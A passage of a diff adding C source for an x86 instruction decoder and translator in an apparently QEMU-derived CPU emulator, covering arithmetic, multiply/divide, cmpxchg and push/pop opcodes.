0x1a: case 0x1b: case 0x1c: case 0x1d: //case 0x18 ... 0x1d: + case 0x20: case 0x21: case 0x22: case 0x23: case 0x24: case 0x25: //case 0x20 ... 0x25: + case 0x28: case 0x29: case 0x2a: case 0x2b: case 0x2c: case 0x2d: //case 0x28 ... 0x2d: + case 0x30: case 0x31: case 0x32: case 0x33: case 0x34: case 0x35: //case 0x30 ... 0x35: + case 0x38: case 0x39: case 0x3a: case 0x3b: case 0x3c: case 0x3d: //case 0x38 ... 0x3d: + { + int op, f, val; + op = (b >> 3) & 7; + f = (b >> 1) & 3; + + ot = mo_b_d(b, dflag); + + switch(f) { + case 0: /* OP Ev, Gv */ + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + opreg = OR_TMP0; + } else if (op == OP_XORL && rm == reg) { + xor_zero: + /* xor reg, reg optimisation */ + set_cc_op(s, CC_OP_CLR); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], 0); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + } else { + opreg = rm; + } + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], reg); + gen_op(s, op, ot, opreg); + break; + case 1: /* OP Gv, Ev */ + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + reg = ((modrm >> 3) & 7) | rex_r; + rm = (modrm & 7) | REX_B(s); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + } else if (op == OP_XORL && rm == reg) { + goto xor_zero; + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], rm); + } + gen_op(s, op, ot, reg); + break; + case 2: /* OP A, Iv */ + val = insn_get(env, s, ot); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + gen_op(s, op, ot, OR_EAX); + break; + } + } + break; + + case 0x82: + if (CODE64(s)) + goto illegal_op; + case 0x80: /* GRP1 */ + case 0x81: + case 0x83: + { + int val; + + ot = mo_b_d(b, dflag); + + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + op = (modrm >> 3) & 7; + + if (mod != 3) { + if (b == 0x83) + s->rip_offset = 1; + else + s->rip_offset = insn_const_size(ot); + gen_lea_modrm(env, s, modrm); + opreg = OR_TMP0; + } else { + opreg = rm; + } + + switch(b) { + default: + case 0x80: + case 0x81: + case 0x82: + val = insn_get(env, s, ot); + break; + case 0x83: + val = (int8_t)insn_get(env, s, MO_8); + break; + } + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + gen_op(s, op, ot, opreg); + } + break; + + /**************************/ + /* inc, dec, and other misc arith */ + case 0x40: case 0x41: case 0x42: case 0x43: + case 0x44: case 0x45: case 0x46: case 0x47: //case 0x40 ... 0x47: /* inc Gv */ + ot = dflag; + gen_inc(s, ot, OR_EAX + (b & 7), 1); + break; + case 0x48: case 0x49: case 0x4a: case 0x4b: + case 0x4c: case 0x4d: case 0x4e: case 0x4f: //case 0x48 ... 0x4f: /* dec Gv */ + ot = dflag; + gen_inc(s, ot, OR_EAX + (b & 7), -1); + break; + case 0xf6: /* GRP3 */ + case 0xf7: + ot = mo_b_d(b, dflag); + + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + op = (modrm >> 3) & 7; + if (mod != 3) { + if (op == 0) + s->rip_offset = insn_const_size(ot); + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + } + + switch(op) { + case 0: /* test */ + val = insn_get(env, s, ot); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + gen_op_testl_T0_T1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + case 2: /* not */ + tcg_gen_not_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + if (mod != 3) { + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } + break; + case 3: /* neg */ + tcg_gen_neg_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + if (mod != 3) { + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } + gen_op_update_neg_cc(tcg_ctx); + set_cc_op(s, CC_OP_SUBB + ot); + break; + case 4: /* mul */ + switch(ot) { + case MO_8: + gen_op_mov_v_reg(tcg_ctx, MO_8, *cpu_T[1], R_EAX); + tcg_gen_ext8u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_ext8u_tl(tcg_ctx, *cpu_T[1], *cpu_T[1]); + /* XXX: use 32 bit mul which could be faster */ + tcg_gen_mul_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EAX, *cpu_T[0]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_src, *cpu_T[0], 0xff00); + set_cc_op(s, CC_OP_MULB); + break; + case MO_16: + gen_op_mov_v_reg(tcg_ctx, MO_16, *cpu_T[1], R_EAX); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[1], *cpu_T[1]); + /* XXX: use 32 bit mul which could be faster */ + tcg_gen_mul_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EAX, *cpu_T[0]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + tcg_gen_shri_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 16); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EDX, *cpu_T[0]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_T[0]); + set_cc_op(s, CC_OP_MULW); + break; + default: + case MO_32: + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_regs[R_EAX]); + tcg_gen_mulu2_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp3_i32, + cpu_tmp2_i32, cpu_tmp3_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[R_EAX], cpu_tmp2_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[R_EDX], cpu_tmp3_i32); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_regs[R_EAX]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_regs[R_EDX]); + set_cc_op(s, CC_OP_MULL); + break; +#ifdef TARGET_X86_64 + case MO_64: + tcg_gen_mulu2_i64(tcg_ctx, *cpu_regs[R_EAX], *cpu_regs[R_EDX], + *cpu_T[0], *cpu_regs[R_EAX]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_regs[R_EAX]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_regs[R_EDX]); + set_cc_op(s, CC_OP_MULQ); + break; +#endif + } + break; + case 5: /* imul */ + switch(ot) { + case MO_8: + gen_op_mov_v_reg(tcg_ctx, MO_8, *cpu_T[1], R_EAX); + tcg_gen_ext8s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_ext8s_tl(tcg_ctx, *cpu_T[1], *cpu_T[1]); + /* XXX: use 32 bit mul which could be faster */ + tcg_gen_mul_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EAX, *cpu_T[0]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + tcg_gen_ext8s_tl(tcg_ctx, cpu_tmp0, *cpu_T[0]); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_src, *cpu_T[0], cpu_tmp0); + set_cc_op(s, CC_OP_MULB); + break; + case MO_16: + gen_op_mov_v_reg(tcg_ctx, MO_16, *cpu_T[1], R_EAX); + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[1], *cpu_T[1]); + /* XXX: use 32 bit mul which could be faster */ + tcg_gen_mul_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EAX, *cpu_T[0]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + tcg_gen_ext16s_tl(tcg_ctx, cpu_tmp0, *cpu_T[0]); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_src, *cpu_T[0], cpu_tmp0); + tcg_gen_shri_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 16); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EDX, *cpu_T[0]); + set_cc_op(s, CC_OP_MULW); + break; + default: + case MO_32: + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_regs[R_EAX]); + tcg_gen_muls2_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp3_i32, + cpu_tmp2_i32, cpu_tmp3_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[R_EAX], cpu_tmp2_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[R_EDX], cpu_tmp3_i32); + tcg_gen_sari_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, 31); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_regs[R_EAX]); + tcg_gen_sub_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, cpu_tmp3_i32); + tcg_gen_extu_i32_tl(tcg_ctx, cpu_cc_src, cpu_tmp2_i32); + set_cc_op(s, CC_OP_MULL); + break; +#ifdef TARGET_X86_64 + case MO_64: + tcg_gen_muls2_i64(tcg_ctx, *cpu_regs[R_EAX], *cpu_regs[R_EDX], + *cpu_T[0], *cpu_regs[R_EAX]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_regs[R_EAX]); + tcg_gen_sari_tl(tcg_ctx, cpu_cc_src, *cpu_regs[R_EAX], 63); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, *cpu_regs[R_EDX]); + set_cc_op(s, CC_OP_MULQ); + break; +#endif + } + break; + case 6: /* div */ + switch(ot) { + case MO_8: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_divb_AL(tcg_ctx, cpu_env, *cpu_T[0]); + break; + case MO_16: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_divw_AX(tcg_ctx, cpu_env, *cpu_T[0]); + break; + default: + case MO_32: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_divl_EAX(tcg_ctx, cpu_env, *cpu_T[0]); + break; +#ifdef TARGET_X86_64 + case MO_64: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_divq_EAX(tcg_ctx, cpu_env, *cpu_T[0]); + break; +#endif + } + break; + case 7: /* idiv */ + switch(ot) { + case MO_8: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_idivb_AL(tcg_ctx, cpu_env, *cpu_T[0]); + break; + case MO_16: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_idivw_AX(tcg_ctx, cpu_env, *cpu_T[0]); + break; + default: + case MO_32: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_idivl_EAX(tcg_ctx, cpu_env, *cpu_T[0]); + break; +#ifdef TARGET_X86_64 + case MO_64: + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_idivq_EAX(tcg_ctx, cpu_env, *cpu_T[0]); + break; +#endif + } + break; + default: + goto illegal_op; + } + break; + + case 0xfe: /* GRP4 */ + case 0xff: /* GRP5 */ + ot = mo_b_d(b, dflag); + + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + op = (modrm >> 3) & 7; + if (op >= 2 && b == 0xfe) { + goto illegal_op; + } + if (CODE64(s)) { + if (op == 2 || op == 4) { + /* operand size for jumps is 64 bit */ + ot = MO_64; + } else if (op == 3 || op == 5) { + ot = dflag != MO_16 ? MO_32 + (rex_w == 1) : MO_16; + } else if (op == 6) { + /* default push size is 64 bit */ + ot = mo_pushpop(s, dflag); + } + } + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + if (op >= 2 && op != 3 && op != 5) + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + } + + switch(op) { + case 0: /* inc Ev */ + if (mod != 3) + opreg = OR_TMP0; + else + opreg = rm; + gen_inc(s, ot, opreg, 1); + break; + case 1: /* dec Ev */ + if (mod != 3) + opreg = OR_TMP0; + else + opreg = rm; + gen_inc(s, ot, opreg, -1); + break; + case 2: /* call Ev */ + /* XXX: optimize if memory (no 'and' is necessary) */ + if (dflag == MO_16) { + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + next_eip = s->pc - s->cs_base; + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], next_eip); + gen_push_v(s, *cpu_T[1]); + gen_op_jmp_v(tcg_ctx, *cpu_T[0]); + gen_eob(s); + break; + case 3: /* lcall Ev */ + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + gen_add_A0_im(s, 1 << ot); + gen_op_ld_v(s, MO_16, *cpu_T[0], cpu_A0); + do_lcall: + if (s->pe && !s->vm86) { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_lcall_protected(tcg_ctx, cpu_env, cpu_tmp2_i32, *cpu_T[1], + tcg_const_i32(tcg_ctx, dflag - 1), + tcg_const_i32(tcg_ctx, s->pc - pc_start)); + } else { + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_lcall_real(tcg_ctx, cpu_env, cpu_tmp2_i32, *cpu_T[1], + tcg_const_i32(tcg_ctx, dflag - 1), + tcg_const_i32(tcg_ctx, s->pc - s->cs_base)); + } + gen_eob(s); + break; + case 4: /* jmp Ev */ + if (dflag == MO_16) { + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + gen_op_jmp_v(tcg_ctx, *cpu_T[0]); + gen_eob(s); + break; + case 5: /* ljmp Ev */ + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + gen_add_A0_im(s, 1 << ot); + gen_op_ld_v(s, MO_16, *cpu_T[0], cpu_A0); + do_ljmp: + if (s->pe && !s->vm86) { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_ljmp_protected(tcg_ctx, cpu_env, cpu_tmp2_i32, *cpu_T[1], + tcg_const_i32(tcg_ctx, s->pc - pc_start)); + } else { + gen_op_movl_seg_T0_vm(tcg_ctx, R_CS); + gen_op_jmp_v(tcg_ctx, *cpu_T[1]); + } + gen_eob(s); + break; + case 6: /* push Ev */ + gen_push_v(s, *cpu_T[0]); + break; + default: + goto illegal_op; + } + break; + + case 0x84: /* test Ev, Gv */ + case 0x85: + ot = mo_b_d(b, dflag); + + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], reg); + gen_op_testl_T0_T1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + + case 0xa8: /* test eAX, Iv */ + case 0xa9: + ot = mo_b_d(b, dflag); + val = insn_get(env, s, ot); + + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], OR_EAX); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + gen_op_testl_T0_T1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + + case 0x98: /* CWDE/CBW */ + switch (dflag) { +#ifdef TARGET_X86_64 + case MO_64: + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], R_EAX); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, MO_64, R_EAX, *cpu_T[0]); + break; +#endif + case MO_32: + gen_op_mov_v_reg(tcg_ctx, MO_16, *cpu_T[0], R_EAX); + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, MO_32, R_EAX, *cpu_T[0]); + break; + case MO_16: + gen_op_mov_v_reg(tcg_ctx, MO_8, *cpu_T[0], R_EAX); + tcg_gen_ext8s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EAX, *cpu_T[0]); + break; + default: + tcg_abort(); + } + break; + case 0x99: /* CDQ/CWD */ + switch (dflag) { +#ifdef TARGET_X86_64 + case MO_64: + gen_op_mov_v_reg(tcg_ctx, MO_64, *cpu_T[0], R_EAX); + tcg_gen_sari_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 63); + gen_op_mov_reg_v(tcg_ctx, MO_64, R_EDX, *cpu_T[0]); + break; +#endif + case MO_32: + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], R_EAX); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_sari_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 31); + gen_op_mov_reg_v(tcg_ctx, MO_32, R_EDX, *cpu_T[0]); + break; + case MO_16: + gen_op_mov_v_reg(tcg_ctx, MO_16, *cpu_T[0], R_EAX); + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_sari_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 15); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EDX, *cpu_T[0]); + break; + default: + tcg_abort(); + } + break; + case 0x1af: /* imul Gv, Ev */ + case 0x69: /* imul Gv, Ev, I */ + case 0x6b: + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + if (b == 0x69) + s->rip_offset = insn_const_size(ot); + else if (b == 0x6b) + s->rip_offset = 1; + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + if (b == 0x69) { + val = insn_get(env, s, ot); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + } else if (b == 0x6b) { + val = (int8_t)insn_get(env, s, MO_8); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], reg); + } + switch (ot) { +#ifdef TARGET_X86_64 + case MO_64: + tcg_gen_muls2_i64(tcg_ctx, *cpu_regs[reg], *cpu_T[1], *cpu_T[0], *cpu_T[1]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_regs[reg]); + tcg_gen_sari_tl(tcg_ctx, cpu_cc_src, cpu_cc_dst, 63); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, *cpu_T[1]); + break; +#endif + case MO_32: + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_T[1]); + tcg_gen_muls2_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp3_i32, + cpu_tmp2_i32, cpu_tmp3_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[reg], cpu_tmp2_i32); + tcg_gen_sari_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, 31); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_regs[reg]); + tcg_gen_sub_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, cpu_tmp3_i32); + tcg_gen_extu_i32_tl(tcg_ctx, cpu_cc_src, cpu_tmp2_i32); + break; + default: + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[1], *cpu_T[1]); + /* XXX: use 32 bit mul which could be faster */ + tcg_gen_mul_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + tcg_gen_ext16s_tl(tcg_ctx, cpu_tmp0, *cpu_T[0]); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_src, *cpu_T[0], cpu_tmp0); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + } + set_cc_op(s, CC_OP_MULB + ot); + break; + case 0x1c0: + case 0x1c1: /* xadd Ev, Gv */ + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + if (mod == 3) { + rm = (modrm & 7) | REX_B(s); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], rm); + tcg_gen_add_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } else { + gen_lea_modrm(env, s, modrm); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + tcg_gen_add_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[1]); + } + gen_op_update2_cc(tcg_ctx); + set_cc_op(s, CC_OP_ADDB + ot); + break; + case 0x1b0: + case 0x1b1: /* cmpxchg Ev, Gv */ + { + int label1, label2; + TCGv t0, t1, t2, a0; + + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + t0 = tcg_temp_local_new(tcg_ctx); + t1 = tcg_temp_local_new(tcg_ctx); + t2 = tcg_temp_local_new(tcg_ctx); + a0 = tcg_temp_local_new(tcg_ctx); + gen_op_mov_v_reg(tcg_ctx, ot, t1, reg); + if (mod == 3) { + rm = (modrm & 7) | REX_B(s); + gen_op_mov_v_reg(tcg_ctx, ot, t0, rm); + } else { + gen_lea_modrm(env, s, modrm); + tcg_gen_mov_tl(tcg_ctx, a0, cpu_A0); + gen_op_ld_v(s, ot, t0, a0); + rm = 0; /* avoid warning */ + } + label1 = gen_new_label(tcg_ctx); + tcg_gen_mov_tl(tcg_ctx, t2, *cpu_regs[R_EAX]); + gen_extu(tcg_ctx, ot, t0); + gen_extu(tcg_ctx, ot, t2); + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_EQ, t2, t0, label1); + label2 = gen_new_label(tcg_ctx); + if (mod == 3) { + gen_op_mov_reg_v(tcg_ctx, ot, R_EAX, t0); + tcg_gen_br(tcg_ctx, label2); + gen_set_label(tcg_ctx, label1); + gen_op_mov_reg_v(tcg_ctx, ot, rm, t1); + } else { + /* perform no-op store cycle like physical cpu; must be + before changing accumulator to ensure idempotency if + the store faults and the instruction is restarted */ + gen_op_st_v(s, ot, t0, a0); + gen_op_mov_reg_v(tcg_ctx, ot, R_EAX, t0); + tcg_gen_br(tcg_ctx, label2); + gen_set_label(tcg_ctx, label1); + gen_op_st_v(s, ot, t1, a0); + } + gen_set_label(tcg_ctx, label2); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, t0); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_srcT, t2); + tcg_gen_sub_tl(tcg_ctx, cpu_cc_dst, t2, t0); + set_cc_op(s, CC_OP_SUBB + ot); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t2); + tcg_temp_free(tcg_ctx, a0); + } + break; + case 0x1c7: /* cmpxchg8b */ + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + if ((mod == 3) || ((modrm & 0x38) != 0x8)) + goto illegal_op; +#ifdef TARGET_X86_64 + if (dflag == MO_64) { + if (!(s->cpuid_ext_features & CPUID_EXT_CX16)) + goto illegal_op; + gen_jmp_im(s, pc_start - s->cs_base); + gen_update_cc_op(s); + gen_lea_modrm(env, s, modrm); + gen_helper_cmpxchg16b(tcg_ctx, cpu_env, cpu_A0); + } else +#endif + { + if (!(s->cpuid_features & CPUID_CX8)) + goto illegal_op; + gen_jmp_im(s, pc_start - s->cs_base); + gen_update_cc_op(s); + gen_lea_modrm(env, s, modrm); + gen_helper_cmpxchg8b(tcg_ctx, cpu_env, cpu_A0); + } + set_cc_op(s, CC_OP_EFLAGS); + break; + + /**************************/ + /* push/pop */ + case 0x50: case 0x51: case 0x52: case 0x53: + case 0x54: case 0x55: case 0x56: case 0x57: //case 0x50 ... 0x57: /* push */ + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], (b & 7) | REX_B(s)); + gen_push_v(s, *cpu_T[0]); + break; + case 0x58: case 0x59: case 0x5a: case 0x5b: + case 0x5c: case 0x5d: case 0x5e: case 0x5f: //case 0x58 ... 0x5f: /* pop */ + ot = gen_pop_T0(s); + /* NOTE: order is important for pop %sp */ + gen_pop_update(s, ot); + gen_op_mov_reg_v(tcg_ctx, ot, (b & 7) | REX_B(s), *cpu_T[0]); + break; + case 0x60: /* pusha */ + if (CODE64(s)) + goto illegal_op; + gen_pusha(s); + break; + case 0x61: /* popa */ + if (CODE64(s)) + goto illegal_op; + gen_popa(s); + break; + case 0x68: /* push Iv */ + case 0x6a: + ot = mo_pushpop(s, dflag); + if (b == 0x68) + val = insn_get(env, s, ot); + else + val = (int8_t)insn_get(env, s, MO_8); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + gen_push_v(s, *cpu_T[0]); + break; + case 0x8f: /* pop Ev */ + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + ot = gen_pop_T0(s); + if (mod == 3) { + /* NOTE: order is important for pop %sp */ + gen_pop_update(s, ot); + rm = (modrm & 7) | REX_B(s); + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } else { + /* NOTE: order is important too for MMU exceptions */ + s->popl_esp_hack = 1 << ot; + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 1); + s->popl_esp_hack = 0; + gen_pop_update(s, ot); + } + break; + case 0xc8: /* enter */ + { + int level; + val = cpu_lduw_code(env, s->pc); + s->pc += 2; + level = cpu_ldub_code(env, s->pc++); + gen_enter(s, val, level); + } + break; + case 0xc9: /* leave */ + /* XXX: exception not precise (ESP is updated before potential exception) */ + if (CODE64(s)) { + gen_op_mov_v_reg(tcg_ctx, MO_64, *cpu_T[0], R_EBP); + gen_op_mov_reg_v(tcg_ctx, MO_64, R_ESP, *cpu_T[0]); + } else if (s->ss32) { + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], R_EBP); + gen_op_mov_reg_v(tcg_ctx, MO_32, R_ESP, *cpu_T[0]); + } else { + gen_op_mov_v_reg(tcg_ctx, MO_16, *cpu_T[0], R_EBP); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_ESP, *cpu_T[0]); + } + ot = gen_pop_T0(s); + gen_op_mov_reg_v(tcg_ctx, ot, R_EBP, *cpu_T[0]); + gen_pop_update(s, ot); + break; + case 0x06: /* push es */ + case 0x0e: /* push cs */ + case 0x16: /* push ss */ + case 0x1e: /* push ds */ + if (CODE64(s)) + goto illegal_op; + gen_op_movl_T0_seg(tcg_ctx, b >> 3); + gen_push_v(s, *cpu_T[0]); + break; + case 0x1a0: /* push fs */ + case 0x1a8: /* push gs */ + gen_op_movl_T0_seg(tcg_ctx, (b >> 3) & 7); + gen_push_v(s, *cpu_T[0]); + break; + case 0x07: /* pop es */ + case 0x17: /* pop ss */ + case 0x1f: /* pop ds */ + if (CODE64(s)) + goto illegal_op; + reg = b >> 3; + ot = gen_pop_T0(s); + gen_movl_seg_T0(s, reg, pc_start - s->cs_base); + gen_pop_update(s, ot); + if (reg == R_SS) { + /* if reg == SS, inhibit interrupts/trace. */ + /* If several instructions disable interrupts, only the + _first_ does it */ + if (!(s->tb->flags & HF_INHIBIT_IRQ_MASK)) + gen_helper_set_inhibit_irq(tcg_ctx, cpu_env); + s->tf = 0; + } + if (s->is_jmp) { + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + case 0x1a1: /* pop fs */ + case 0x1a9: /* pop gs */ + ot = gen_pop_T0(s); + gen_movl_seg_T0(s, (b >> 3) & 7, pc_start - s->cs_base); + 